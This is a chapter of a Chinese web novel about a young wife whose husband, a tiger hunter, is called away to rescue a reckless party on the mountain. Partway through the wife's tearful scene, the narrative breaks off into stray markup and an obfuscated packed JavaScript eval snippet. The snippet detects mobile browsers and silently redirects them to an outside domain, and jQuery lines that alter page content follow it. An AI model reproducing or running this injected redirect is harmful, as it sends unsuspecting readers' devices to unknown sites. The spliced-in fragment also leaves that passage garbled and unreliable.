126. 嫂子好生厉害!

乔迁时的两只小毛篮已经被沙漏和罗盘咬得不成样子,江留青新编两个小圆饼,半寸厚、碗口大小,成了俩崽儿的新宠。


江衔月藏起来一个,只拿一个在手里,不断飞旋出去,让它们捡回来。


圆润的罗盘比沙漏反应更快,线条流畅的沙漏虽然慢半拍,但是它的速度更快,两人几乎同时接住小竹饼。但是罗盘是个心机狗,它一扭肥臀,就把沙漏顶得偏离方向,最终还是罗盘把玩具叼回来。


它扬起憨憨的脑袋,找江衔月求夸奖之前,还特地回身瞅沙漏一眼。


它都没扭头,直接叼着小圆饼原地掉转身子转个圈,还抖抖屁股,炫耀完才跑到江衔月跟前求表扬。


江衔月揉揉它的脑袋,笑得直不起腰。


沙漏呜呜叫着低下头,委屈巴巴的。


江衔月觉得不该厚此薄彼,走过去摸摸沙漏的脑袋……嗯,罗盘的脑袋圆,摸着肉肉的。沙漏的毛很细,摸着软软的。


两狗对视一眼,不约而同走远一点,那意思是让江衔月再扔。


江衔月作势要扔,两只狗立刻做出蓄势待发的模样,江衔月虚晃好几次,终于把竹饼扔出去。


这次沙漏占得先机,飞蹿出去直接衔住。


江衔月鼓掌喝彩,她怀疑罗盘不蹿是因为蹿不起来。


罗盘一点不肯服输,疾奔过去跟沙漏抢,两只狗瞬间闹成一团。


“怎么还打架?”钟五背着弓箭进院子,朝俩崽儿喝了道:“不许打架!玩归玩,闹归闹,不许打架啊!”


“你回来啦!”江衔月迎上去,两只狗也暂时放过彼此,跑到钟五脚边撒欢。


“怎么样?事情顺利吗?你有没有受伤?四哥怎么样?”江衔月绕着钟五转一圈。


钟五瘦了不少,先前养的那点肉都不见了,两颊和下颌的骨头也突出来。但他精神还好,不修边幅的脸上,那双眼睛依旧亮晶晶的。


“我和四哥都没受伤,事情也很顺利。我们就照计划那样,把老虎引了过去,一共灭了二十七只老虎呢。大家都好好的,只有河田村一个十六七的小伙子,走路的时候没注意,翻到草沟里,崴了脚。


“我们昨天下山得晚,就在那边山脚下随便住了一夜,刘班头让我们回来修整两天,可能还要再去一次,得等衙门通知时间。”钟五将两只狗拨到一边,走到压水井边,洗了把脸,问:“爹呢?”


“爹好几日没出门,见老六去白石桥摆摊,也跟着去了。”江衔月往灶房去,边走边问,“山上还有多少老虎?下回这办法是不是就不管用了?”


钟五点头。“老虎也很聪明的,只怕咱们想用火围攻,它们也不肯钻这个圈套了。估摸着山上还有十只成年的老虎。”


“那你们有打算没?”灶房里有一个烧水的炉子一直烧着,江衔月换了个锅上去,打了两个鸡蛋,煮了一碗荷包蛋出来,让钟五先吃两口,“你先垫垫肚子,吃完坐那儿歇一会儿,我这就烧水,好了我喊你。晌午你想吃点什么?”


“做个南瓜汤吧。”钟五对着碗边吹吹,尝一口蛋汤。味道甜丝丝的,看来没少加糖。


他忖摸着,感觉不太烫了,又猛灌两口汤下肚。


这几天在山上净吃咸津津干巴巴的烤肉了,吃得人上火。


江衔月见状又给他倒一杯茶晾在一边,才去添水把锅烧上。她直接在后锅放一个甑子,里头加上绿豆和米,烧完洗澡水,她再炒菜,这火就能把饭蒸熟。


她又去准备各色菜蔬。


钟五喝完汤就坐在灶台前看火,看她正准备削南瓜皮,接过刀子,“昨夜里睡得还行,我一点不困,你去忙别的,这个我来弄。”


他跟江衔月说杨恩厚和张扬的事,又跟她讲闲话:“他们这么急,大约也是觉得剩下那些老虎,不难处理。队伍四十来个人,不说个顶个力能扛鼎,但十之七八都是有本事的。


“有个从武馆那边请来的人,功夫很厉害,一眨眼的功夫就跳到一丈高的树顶上去,他刚进山那会儿还开玩笑,说要是不行他就打个前阵,把药往老虎身上撒,撒完就跑。啥时候老虎受了药性趴下了,啥时候我们再往前去。


“镖局那边来的人,以前在走镖的时候也正面跟老虎对上过,他们是在南边从山里过的时候陷入虎群了,当时也很惨烈,好在随行的个个都是好手,人都囫囵回来了,就损了些东西进去。就这样,也就他一个人敢来,据说当年跟他一起的那些人,不少连镖都不敢走了。


“还有一个姓陈的老猎户,很有经验,只凭借老虎的脚印、粪便这些痕迹,就能判断出老虎的体形大小、什么时间在哪活动。咱们知道的老虎数量也都是他推测出来的,诱虎的时候他更是出了大力。”


甚至于那个张扬,虽然高傲,但也确实有几分本事在身上。


“都这么厉害啊!”江衔月惊叹,一边切菜,一边很没志气地劝诫钟五,“他们都是有本事的,咱们跟着在后面多学学就是了,没把握的时候千万别往前冲,就是有把握,也要三思而后行。凡事多想想爹娘,多想想我。”


“我记得的。”钟五失笑,站起身,舀了两桶水去了隔壁的浴房冲澡。


没一会儿,又喊江衔月给他洗头发。


江衔月擦擦手,给他洗头发,又去正院给他拿衣裳。


钟五洗好澡,跟江衔月交代一声,去白石桥喊江留青回来吃饭。


-----


两人回来的时候,江衔月最后一个菜刚好出锅。


大粗瓷碗里的绿豆米饭上铺着油汪汪的腊肉和香肠。


桌上摆着四菜一汤:一道水嫩嫩的清炒小白菜,脆嫩鲜甜。一道小炒肉,是用连根薅回来的辣椒树上最后一茬辣椒炒的,皮韧肉香,又带着黑猪肉特有的荤香,咬一口嚼着,连舌头都要吞下肚。一道红烧茄子,茄子用油煎过,吃起来外酥里嫩,滋味厚重。还有一道腌蕨菜炒肉,一盆老南瓜汤。


都是钟五爱吃的,这也是钟五几天来吃得最扎实的一餐,边上老丈人和老婆还不断给他添饭夹菜,他连吃两碗,速度才渐渐慢下来。


刚盛第三碗续上,外头有人来。


“钟五哥,北麓出事了!”来的是刘班头手下的一个衙役。


他神色焦急,语速又急又快,“杨四爷回家的路上,有人给他报信儿,说早上张扬没回去,私底下带着几个人上山了。现在是什么情况还不清楚,只知道黎阴县那边的人半路都又折回去了。”


钟五放下筷子,“刘班头怎么说?”


“刘班头让我带了两匹快马来,让咱们在北门外集合,他去柳树窑喊柳昭明,其他人也都派人过去通知了,就是事情急,人估计到不齐的。”


江留青也慌,“五郎,要准备什么,我去给你准备。你先坐下,把饭吃好,不然就是去了,也没力气不是。”


又冲来人道:“小兄弟也没吃吧,你也坐下,赶紧吃点,我给五郎收拾好家伙事儿,你们再一起过去。”


江衔月又气又怒,“张壮士敢这样上山去,想来是对清剿剩余的老虎很有把握的喽,那让人送信给杨四爷,到底是张壮士的意思,还是送信的人自己的意思?”


不妨行事有度的钟五哥家里有个如此凶悍的媳妇儿,来人此刻全无往日里穿行市井,耀武扬威的气势,嗫嚅着喊了声“嫂子”。


钟五拍拍江衔月的肩膀,让来人坐下,将江留青添的饭推过去,“你还没吃饭吧,小伍,先吃点,等我爹给我收拾好东西,咱就过去。柳树窑离城门更远,咱就是这会儿过去,也是在那儿干等着。不如填饱肚子,进山才有力气。”


小伍还真没吃啥东西,回去就灌了几瓢凉水,吃了个凉窝头,想着晌午再跟家里一起吃。但是嫂子怒气冲冲的,他不太敢接。


江衔月深吸一口气,憋出个笑来,给小伍盛了碗汤,道:“我一时着急,你别见怪。五郎说得对,你俩填饱肚子最要紧。你放心就是,我要是拦着他,早就拦了,不会这会儿才拦。你们慢慢吃,我去后头给他找件衣裳换。”


江衔月走了,小伍这才松口气,心有余悸道:“钟五哥,嫂子好生厉害。”说着,扒一大口饭,心里又接一句,“脾气虽厉害,做饭还怪好吃的!”


钟五笑笑,“厉害有厉害的好处,你娶了媳妇儿就知道。”说完,几口扒完碗里的饭,道:“你先吃,我去换件衣裳,咱们就走。”


-----


后头,江衔月翻着衣柜,眼泪控制不住地往下落。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517946|160214||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


钟五叹口气,从背后拥住她,轻吻她的鬓发和耳尖,“好了,月儿~乖乖,没事啊~我们是去找人,又不是去找老虎单挑,没那么危险。”


江衔月抽噎着,“这是找人和打老虎的区别吗?这是有准备和没准备的区别!你要是什么都准备好,前进后退都有主意有把握,你说打老虎我也没那么怵。可哪有这样的,他们那么厉害,就让他们去啊!你们跑得挺慌以为去帮忙的,谁知道人家怎么想呢,说不定还以为你们去抢功劳的呢!我不管,他要打虎就让他去,你不许逞强,见势不对就往后退,自己的命自己都不在乎,还指望谁替他在乎不成!”


钟五何尝不知道,此刻也只能宽慰:“你放心,我心里有数呢,知道利害的。我保证,一定毫发无伤的回来,而且,我就是愿意帮忙,也得量力而行不是。我还有你呢,这么个宝贝心疼我、惦记我,我可不会那么冲动,更不会像他们那样没脑子的。”


江衔月胡乱抹把脸,终于把给钟五找的那身短打抽出来,“你换上衣裳,看看爹那边箭头准备好没,我去灶房给你们包些干粮带着。”


“还有,四哥那儿,要不要去喊,你也思量思量。四嫂月份大,恐怕受不得刺激,你们说话的时候斟酌着。”


钟五点头,收拾妥当,在江留青和江衔月忧心忡忡的目光下,和小伍一起骑马出门。


江衔月说的事,他也犹豫着,谁知两人没走几步,就遇上往老院这边走的钟四,他也只好据实以告。


钟四都没犹豫,回家跟陆氏和郑秋娘说一声,就跟着一起去了。


陆氏见他语焉不详的,也是心焦,特地喊了邻居家的一个小子,让他们过来老院这边捎个信儿,问问是什么情况。


钟老金已经知道了,过来跟老妻说了一下。


-----


此时,钟五三人已经到北城门,又等一刻钟左右,其他人陆陆续续才到。


一行人又往北麓赶。


一路上,刘班头脸色都很不好看,一直到山脚下,刘班头都拉着脸。


杨恩厚迎上来,面色急切中又带着点笑,看着很是扭曲,“刘三爷,你们可算来了。”


刘班头不冷不热,“怎么杨四爷还在这,我还以为您等不及已经往山上去了呢。我刚到家就听人说您手底下的张扬,艺高人胆大,自个儿就带了三五个兄弟去捅老虎窝了。早知贵县有这等能人,我们还掺和个什么劲儿啊,如今白跟着黑天白日的忙活这些天,我们想着是给你们帮忙了,没成想倒给你们添乱了。”


“对了,您喊我来是有什么事儿?有事儿您尽快吩咐,我们老爷还等着我回去给他回话呢。”


杨恩厚吃了这一顿排揎,心里也是恨极,又不能发作,只得暗自把张扬骂了一遍又一遍,这边还得腆着脸道歉。


“刘三爷,您可真是误会我了。不说您没想到,就是我也没想到那张扬真就那么大胆子,敢往山上去。他去便去了,可被他忽悠的那几个人可都是无辜的啊,有俩连媳妇儿都没娶呢,咱们总不能眼睁睁看着他们往老虎嘴里跑吧。


“若说本事,钟兄弟和柳兄弟的本事大家都是有目共睹的,前头我们老爷还夸呢,说亲见了才知道,清源县果真人杰地灵之地,随便一拨拉,十个里头有八个都是英雄少年,仁义好汉……”


刘班头听不得这样尴尬地夸法,哼了一声,打断道:“人命要紧,让弟兄们做好准备,往山上去吧。但有一点我说好,那些人的命是命,我们这些兄弟们的命也是命,能帮了我们尽量帮,若是人力不逮之处,也请你见谅。”


杨恩厚满脸苦笑,“自然如此。”可恨这张扬,带谁去不好,偏偏将县老爷最宠爱的二姨太的兄弟也带去了。


那小舅子也是,好好在城里依仗姐夫威势做个纨绔不好,偏偏要逞强斗狠,往山上凑。别说跟着张扬混,就是他单打一只老虎回去,老爷还能提你姐姐做正房不成?这一家子,真是疯癫了!


刘班头也不懂他肚子里这些弯弯绕绕,大义凛然道:“也请你放心,若是张壮士有捉虎擒蛟之能,我们这些兄弟们也不会眼馋,只当是来山上长见识来了。”


杨恩厚笑得更加苦涩,张扬要真有这本事,这四爷,他让给他做。